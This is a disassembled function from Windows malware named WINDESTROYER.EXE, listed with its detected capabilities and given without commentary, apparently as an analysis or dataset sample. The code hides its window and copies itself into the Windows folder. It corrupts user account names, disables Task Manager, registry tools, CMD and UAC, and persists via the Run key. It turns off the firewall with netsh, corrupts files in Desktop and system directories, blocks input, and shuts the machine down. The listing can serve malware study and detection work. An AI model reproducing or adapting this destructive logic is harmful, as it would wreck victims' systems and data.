Function at 0x401aeb
Capabilities:
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
Hide graphical window
List user accounts
Persist via run registry key
Query environment variable
Set registry value
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x7e4
call sym.___main
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER.EXE
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._FileExists
test eax, eax
jne 0x4021ec
mov dword [esp + 8], 0
lea eax, [ebp - 0x334]
mov dword [esp + 4], eax
lea eax, [ebp - 0x230]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x7b8]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x7b8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sDesktop
lea eax, [ebp - 0x6b4]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x344], 0
lea eax, [ebp - 0x344]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x33c]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x338]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x340]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserEnum_32
sub esp, 0x20
mov dword [ebp - 0xc], 0
jmp 0x401d1a
mov edx, dword [ebp - 0x340]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp], eax
call sym._corruptUsername
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401d16
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x368], eax
mov edx, dword [ebp - 0x340]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x368]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserSetInfo_20
sub esp, 0x14
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0xc], eax
jb 0x401ca4
mov eax, dword [ebp - 0x340]
test eax, eax
je 0x401d4e
mov eax, dword [ebp - 0x340]
mov dword [esp], eax
call sym._NetApiBufferFree_4
sub esp, 4
mov dword [ebp - 0x340], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x5b0]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x5b0]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_bg.bmp
lea eax, [ebp - 0x4ac]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4080fc
lea eax, [ebp - 0x4ac]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7a
mov dword [esp + 4], 1
mov dword [esp], 0x407020
call sym._fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x348]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], sym._CorruptMsgBox_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x348]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x34c], 1
mov dword [ebp - 0x350], 0
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x354]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x354]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x354]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x354]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x354]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x358]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x35c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.System
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x35c]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableCMD
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x360]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x334]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x360]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x334]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4081de
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x360]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x364]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x364]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x350]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x364]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x6b4]
mov dword [esp], eax
call sym._CorruptFilesInDirectory_4
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.netsh.exe_firewall_set_opmode_modedisabled_profileall
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.WINDESTROYER.exe
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov eax, 0
jmp 0x402756
call sym._SeShutdownPrivilege
call sym._InitSinTable
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_BlockInput]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:Windows
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsWinSxS
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._NullWriter_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.USER32.dll_GetDesktopWindow]
call eax
lea edx, [ebp - 0x378]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetClientRect]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [0x40b0a0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0a4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0a8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0ac], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0b0], eax
mov dword [0x40b0b4], 0xf
mov dword [0x40b0b8], 0
mov dword [0x40b0bc], 0x40382c
mov eax, dword [ebp - 0x10]
mov dword [0x40b0c0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0c4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0c8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0cc], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0d0], eax
mov dword [0x40b0d4], 5
mov dword [0x40b0d8], 0
mov dword [0x40b0dc], 0x4039c4
mov eax, dword [ebp - 0x10]
mov dword [0x40b0e0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0e4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0e8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0ec], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0f0], eax
mov dword [0x40b0f4], 0xf
mov dword [0x40b0f8], 0
mov dword [0x40b0fc], 0x403aee
mov eax, dword [ebp - 0x10]
mov dword [0x40b100], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b104], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b108], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b10c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b110], eax
mov dword [0x40b114], 0xf
mov dword [0x40b118], 0
mov dword [0x40b11c], 0x403c58
mov eax, dword [ebp - 0x10]
mov dword [0x40b120], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b124], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b128], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b12c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b130], eax
mov dword [0x40b134], 0xf
mov dword [0x40b138], 0
mov dword [0x40b13c], 0x403de7
mov eax, dword [ebp - 0x10]
mov dword [0x40b140], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b144], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b148], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b14c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b150], eax
mov dword [0x40b154], 0xf
mov dword [0x40b158], 0
mov dword [0x40b15c], 0x403fa0
mov eax, dword [ebp - 0x10]
mov dword [0x40b160], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b164], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b168], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b16c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b170], eax
mov dword [0x40b174], 0xf
mov dword [0x40b178], 0
mov dword [0x40b17c], 0x4041bb
mov dword [0x40b060], 0x3e80
mov dword [0x40b064], 0x3a980
mov dword [0x40b068], 0x402dea
mov dword [0x40b06c], 0x1f40
mov dword [0x40b070], 0x1d4c0
mov dword [0x40b074], 0x402e62
mov dword [0x40b078], 0xbb80
mov dword [0x40b07c], 0xafc80
mov dword [0x40b080], 0x402ed1
mov dword [0x40b084], 0x1f40
mov dword [0x40b088], 0x1d4c0
mov dword [0x40b08c], 0x402fd1
mov dword [0x40b040], 0x404324
mov dword [0x40b044], 0x40446a
mov dword [0x40b048], 0x4046f3
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._AudioThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], sym._ShaderThread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], sym._ShaderThread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_BlockInput]
call eax
sub esp, 4
mov dword [esp + 4], 0x10000
mov dword [esp], 0xc
mov eax, dword [sym.imp.USER32.dll_ExitWindowsEx]
call eax
sub esp, 8
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret